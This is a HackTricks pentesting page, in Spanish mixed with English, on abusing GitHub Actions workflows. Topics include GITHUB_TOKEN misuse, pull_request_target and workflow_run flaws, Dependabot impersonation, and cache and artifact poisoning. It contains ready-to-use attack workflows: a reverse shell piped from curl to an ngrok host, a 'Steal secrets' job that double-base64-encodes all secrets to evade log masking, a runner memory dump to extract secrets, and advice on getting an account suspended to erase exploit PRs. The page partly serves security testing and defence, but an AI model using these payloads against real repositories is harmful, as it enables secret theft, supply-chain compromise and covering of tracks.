# Abusar de Github Actions {{#include ../../../banners/hacktricks-training.md}} ## Herramientas Las siguientes herramientas son útiles para encontrar Github Action workflows e incluso encontrar ones vulnerables: - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) - [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Revisa también su checklist en [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits) ## Información Básica En esta página encontrarás: - Un **resumen de todos los impactos** de un atacante que consiga acceder a una Github Action - Diferentes formas de **obtener acceso a una Action**: - Tener **permisos** para crear la Action - Abusar de triggers relacionados con **pull request** - Abusar de **otras técnicas de acceso externo** - **Pivotar** desde un repo ya comprometido - Finalmente, una sección sobre **técnicas de post-explotación para abusar de una Action desde dentro** (causar los impactos mencionados) ## Resumen de Impactos Para una introducción sobre [**Github Actions revisa la información básica**](../basic-github-information.md#github-actions). Si puedes **ejecutar código arbitrario en GitHub Actions** dentro de un **repositorio**, podrías: - **Robar secrets** montados en el pipeline y **abusar de los privilegios del pipeline** para obtener acceso no autorizado a plataformas externas, como AWS y GCP. - **Comprometer despliegues** y otros **artefactos**. - Si el pipeline despliega o almacena activos, podrías alterar el producto final, permitiendo un ataque a la cadena de suministro. - **Ejecutar código en workers personalizados** para abusar de potencia de cómputo y pivotar a otros sistemas. - **Sobrescribir el código del repositorio**, dependiendo de los permisos asociados con el `GITHUB_TOKEN`. ## GITHUB_TOKEN Este "**secret**" (provenido de `${{ secrets.GITHUB_TOKEN }}` y `${{ github.token }}`) se otorga cuando el admin habilita esta opción:
Este token es el mismo que **una Github Application usará**, por lo que puede acceder a los mismos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) > [!WARNING] > Github debería publicar un [**flow**](https://github.com/github/roadmap/issues/74) que permita acceso entre repositorios dentro de GitHub, de modo que un repo pueda acceder a otros repos internos usando el `GITHUB_TOKEN`. Puedes ver los posibles **permisos** de este token en: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Ten en cuenta que el token **expira después de que el job ha finalizado**.\ Estos tokens se ven así: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Algunas cosas interesantes que puedes hacer con este token: {{#tabs }} {{#tab name="Merge PR" }} ```bash # Merge PR curl -X PUT \ https://api.github.com/repos///pulls//merge \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header "content-type: application/json" \ -d "{\"commit_title\":\"commit_title\"}" ``` {{#endtab }} {{#tab name="Approve PR" }} ```bash # Approve a PR curl -X POST \ https://api.github.com/repos///pulls//reviews \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ -d '{"event":"APPROVE"}' ``` {{#endtab }} {{#tab name="Create PR" }} ```bash # Create a PR curl -X POST \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ https://api.github.com/repos///pulls \ -d '{"head":"","base":"master", "title":"title"}' ``` {{#endtab }} {{#endtabs }} > [!CAUTION] > Ten en cuenta que en varias ocasiones podrás encontrar **github user tokens inside Github Actions envs or in the secrets**. Estos tokens pueden otorgarte más privilegios sobre el repositorio y la organización.
Listar secrets en la salida de Github Action ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Obtener reverse shell con secrets ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Es posible comprobar los permisos otorgados a un Github Token en repositorios de otros usuarios **comprobando los logs** de las actions:
## Ejecución permitida > [!NOTE] > Esta sería la forma más sencilla de comprometer Github actions, ya que este caso supone que tienes acceso para **create a new repo in the organization**, o tienes **write privileges over a repository**. > > Si estás en este escenario puedes simplemente revisar las [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action). ### Ejecución desde la creación del repo En caso de que los miembros de una organización puedan **create new repos** y puedas ejecutar github actions, puedes **create a new repo and steal the secrets set at organization level**. ### Ejecución desde una nueva branch Si puedes **create a new branch in a repository that already contains a Github Action** configurada, puedes **modify**la, **upload** el contenido, y luego **execute that action from the new branch**. De este modo puedes **exfiltrate repository and organization level secrets** (pero necesitas saber cómo se llaman). > [!WARNING] > Any restriction implemented only inside workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) can be edited by collaborators. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions. Puedes hacer que la action modificada sea ejecutable **manualmente,** cuando se **crea un PR** o cuando se **push some code** (dependiendo de lo ruidoso que quieras ser): ```yaml on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - master push: # Run it when a push is made to a branch branches: - current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches ``` --- ## Forked Execution > [!NOTE] > Hay diferentes triggers que podrían permitir a un atacante **ejecutar una Github Action de otro repositorio**. Si esas actions que se pueden triggerear están mal configuradas, un atacante podría llegar a comprometerlas. ### `pull_request` El workflow trigger **`pull_request`** ejecutará el workflow cada vez que se reciba un pull request con algunas excepciones: por defecto si es la **primera vez** que estás **colaborando**, algún **maintainer** necesitará **aprobar** la **ejecución** del workflow:
> [!NOTE] > Como la **limitación por defecto** es para contribuidores por **primera vez**, podrías contribuir **arreglando un bug/typo válido** y luego enviar **otros PRs para abusar de tus nuevos privilegios de `pull_request`**. > > **He probado esto y no funciona**: ~~Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminar su cuenta.~~ Además, por defecto **previene permisos de escritura** y **acceso a secrets** al repositorio objetivo como se menciona en los [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories): > Con la excepción de `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. Un atacante podría modificar la definición de la Github Action para ejecutar cosas arbitrarias y añadir acciones arbitrarias. Sin embargo, no podrá robar secrets ni sobrescribir el repo debido a las limitaciones mencionadas. > [!CAUTION] > **Sí, si el atacante cambia en el PR la github action que se va a ejecutar, ¡su Github Action será la que se use y no la del repo de origen!** Como el atacante también controla el código que se ejecuta, incluso si no hay secrets ni permisos de escritura en el `GITHUB_TOKEN`, un atacante podría por ejemplo **subir artifacts maliciosos**. ### **`pull_request_target`** El workflow trigger **`pull_request_target`** tiene **permisos de escritura** en el repositorio objetivo y **acceso a secrets** (y no pide aprobación). Ten en cuenta que el workflow trigger **`pull_request_target`** **se ejecuta en el contexto base** y no en el del PR (para **no ejecutar código no confiable**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\ Además, para más información sobre este uso específico y peligroso revisa este [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). Podría parecer que, porque el **workflow ejecutado** es el definido en la **base** y no en el PR, es **seguro** usar **`pull_request_target`**, pero hay **algunos casos en los que no lo es**. Y este tendrá **access to secrets**. ### `workflow_run` El [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite ejecutar un workflow desde otro cuando está `completed`, `requested` o `in_progress`. En este ejemplo, un workflow está configurado para ejecutarse después de que el workflow separado "Run Tests" termine: ```yaml on: workflow_run: workflows: [Run Tests] types: - completed ``` Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**encontrados en este blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\ The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. ### `workflow_call` TODO TODO: Comprobar si cuando se ejecuta desde un pull_request el código usado/descargado es el del origin o el del PR forkeado ## Abuso de ejecución desde forks Hemos mencionado todas las formas en que un atacante externo podría lograr que un workflow de github se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas: ### Ejecución de checkout no confiable In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request). In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. > [!CAUTION] > However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
# INSECURE. Provided as an example only.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. > [!WARNING] > A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### Inyecciones de scripts del contexto Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** {{#ref}} gh-actions-context-script-injections.md {{#endref}} ### **Inyección de scripts en GITHUB_ENV** From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**. For example ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
### Dependabot y otros bots de confianza As indicated in [**esta entrada del blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), several organizations have a Github Action that merges any PRR from `dependabot[bot]` like in: ```yaml on: pull_request_target jobs: auto-merge: runs-on: ubuntu-latest if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: gh pr merge $ -d -m ``` Esto es un problema porque el campo `github.actor` contiene el usuario que provocó el último evento que desencadenó el workflow. Y hay varias formas de hacer que el usuario `dependabot[bot]` modifique un PR. Por ejemplo: - Fork del repositorio víctima - Añade la payload maliciosa a tu copia - Habilita Dependabot en tu fork añadiendo una dependencia desactualizada. Dependabot creará una branch arreglando la dependencia con código malicioso. - Abre un Pull Request al repositorio víctima desde esa branch (el PR será creado por el usuario así que aún no pasará nada) - Luego, el atacante vuelve al PR inicial que Dependabot abrió en su fork y ejecuta `@dependabot recreate` - Entonces, Dependabot realiza algunas acciones en esa branch, que modifican el PR en el repositorio víctima, lo que convierte a `dependabot[bot]` en el actor del último evento que desencadenó el workflow (y por tanto, el workflow se ejecuta). Siguiendo, ¿qué pasaría si, en lugar de hacer merge, el Github Action tuviera una command injection como en: ```yaml on: pull_request_target jobs: just-printing-stuff: runs-on: ubuntu-latest if: ${ { github.actor == 'dependabot[bot]' }} steps: - run: echo ${ { github.event.pull_request.head.ref }} ``` Bueno, la entrada del blog original propone dos opciones para abusar de este comportamiento; la segunda es: - Fork the victim repository y habilita Dependabot con alguna dependencia desactualizada. - Create a new branch con el malicious shell injection code. - Change the default branch del repo a esa. - Create a PR desde esa branch hacia el victim repository. - Ejecuta `@dependabot merge` en el PR que Dependabot abrió en su fork. - Dependabot mergeará sus cambios en la default branch de tu forked repository, actualizando el PR en el victim repository, haciendo que `dependabot[bot]` sea ahora el actor del último evento que disparó el workflow y usando un nombre de branch malicioso. ### Github Actions de terceros vulnerables #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) Como se menciona en [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acceder a artifacts de diferentes workflows e incluso repositories. El problema es que si el parámetro **`path`** no está establecido, el artifact se extrae en el directorio actual y puede sobrescribir archivos que podrían ser usados más adelante o incluso ejecutados en el workflow. Por lo tanto, si el artifact es vulnerable, un atacante podría abusar de esto para comprometer otros workflows que confían en ese artifact. Example of vulnerable workflow: ```yaml on: workflow_run: workflows: ["some workflow"] types: - completed jobs: success: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: download artifact uses: dawidd6/action-download-artifact with: workflow: ${{ github.event.workflow_run.workflow_id }} name: artifact - run: python ./script.py with: name: artifact path: ./script.py ``` Esto podría atacarse con este workflow: ```yaml name: "some workflow" on: pull_request jobs: upload: runs-on: ubuntu-latest steps: - run: echo "print('exploited')" > ./script.py - uses actions/upload-artifact@v2 with: name: artifact path: ./script.py ``` --- ## Otros accesos externos ### Deleted Namespace Repo Hijacking Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre pasado un tiempo. Si un repositorio tenía **menos de 100 stars previously to the change of name**, Github permitirá al nuevo usuario registrado con el mismo nombre crear un **repository with the same name** que el que se eliminó. > [!CAUTION] > Por tanto, si una action está usando un repo de una cuenta inexistente, sigue siendo posible que un atacante cree esa cuenta y comprometa la action. Si otros repositorios estaban usando **dependencies from this user repos**, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) --- ## Repo Pivoting > [!NOTE] > En esta sección hablaremos de técnicas que permitirían **pivot from one repo to another** suponiendo que tengamos algún tipo de acceso al primero (revisa la sección anterior). ### Cache Poisoning Se mantiene una caché entre **wokflow runs in the same branch**. Lo que significa que si un atacante **compromise** un **package** que luego se almacena en la caché y es **downloaded** y ejecutado por un workflow **more privileged**, también podrá **compromise** ese workflow. {{#ref}} gh-actions-cache-poisoning.md {{#endref}} ### Artifact Poisoning Los workflows pueden usar **artifacts from other workflows and even repos**, si un atacante logra **compromise** la Github Action que **uploads an artifact** que luego es usada por otro workflow, podría **compromise the other workflows**: {{#ref}} gh-actions-artifact-poisoning.md {{#endref}} --- ## Post Exploitation from an Action ### Github Action Policies Bypass Como se comenta en [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), incluso si un repositorio u organización tiene una política que restringe el uso de ciertas actions, un atacante podría simplemente descargar (`git clone`) una action dentro del workflow y luego referenciarla como una local action. Como las políticas no afectan a rutas locales, **the action will be executed without any restriction.** Example: ```yaml on: [push, pull_request] jobs: test: runs-on: ubuntu-latest steps: - run: | mkdir -p ./tmp git clone https://github.com/actions/checkout.git ./tmp/checkout - uses: ./tmp/checkout with: repository: woodruffw/gha-hazmat path: gha-hazmat - run: ls && pwd - run: ls tmp/checkout ``` ### Accediendo a AWS, Azure y GCP vía OIDC Consulta las siguientes páginas: {{#ref}} ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} {{#ref}} ../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md {{#endref}} {{#ref}} ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md {{#endref}} ### Accediendo a secretos Si estás inyectando contenido en un script, es útil saber cómo puedes acceder a los secretos: - Si el secreto o token está establecido en una **variable de entorno**, puede accederse directamente desde el entorno usando **`printenv`**.
Listar secretos en la salida de Github Action ```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
Obtener reverse shell con secrets ```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```
- Si el secreto se usa **directamente en una expresión**, el script shell generado se almacena **en disco** y es accesible. - ```bash cat /home/runner/work/_temp/* ``` - Para JavaScript actions los secrets se envían a través de variables de entorno - ```bash ps axe | grep node ``` - Para una **custom action**, el riesgo puede variar dependiendo de cómo un programa esté usando el secreto que obtuvo del **argumento**: ```yaml uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }} ``` - Enumera todos los secrets vía el secrets context (collaborator level). Un contributor con write access puede modificar un workflow en cualquier branch para dump todos los repository/org/environment secrets. Usa double base64 para evadir el log masking de GitHub y decodifica localmente: ```yaml name: Steal secrets on: push: branches: [ attacker-branch ] jobs: dump: runs-on: ubuntu-latest steps: - name: Double-base64 the secrets context run: | echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0 ``` Decode locally: ```bash echo "ZXdv...Zz09" | base64 -d | base64 -d ``` Tip: para mayor sigilo durante las pruebas, encripta antes de imprimir (openssl está preinstalado en GitHub-hosted runners). ### Abusing Self-hosted runners La forma de encontrar qué **Github Actions are being executed in non-github infrastructure** es buscar **`runs-on: self-hosted`** en el YAML de configuración de Github Action. **Self-hosted** runners podrían tener acceso a **extra sensitive information**, a otros **network systems** (¿vulnerable endpoints in the network? ¿metadata service?) o, incluso si está aislado y destruido, **more than one action might be run at the same time** y la maliciosa podría **steal the secrets** de la otra. En self-hosted runners también es posible obtener los **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: ```bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" ``` Consulta [**esta entrada para más información**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/). ### Github Docker Images Registry Es posible crear Github actions que **construyan y almacenen una imagen Docker dentro de Github**.\ Un ejemplo se puede encontrar en el siguiente elemento desplegable:
Github Action Build & Push Docker Image ```yaml [...] - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] ```
Como puedes ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**. Un usuario con permisos de lectura sobre el repo podrá entonces descargar la Docker Image usando un personal access token: ```bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: ``` Luego, el usuario podría buscar **leaked secrets in the Docker image layers:** {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html {{#endref}} ### Información sensible en los logs de Github Actions Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret). ## Ocultando tus huellas (Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir “some stuff” en Issue y ellos se asegurarán de que tu cuenta sea suspendida en 12 hours :p y ahí lo tienes, hiciste tu exploit invisible en github. > [!WARNING] > La única forma para que una organización descubra que ha sido objetivo es revisar los logs de GitHub desde SIEM, ya que desde la GitHub UI el PR sería eliminado. ## Referencias - [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1) {{#include ../../../banners/hacktricks-training.md}}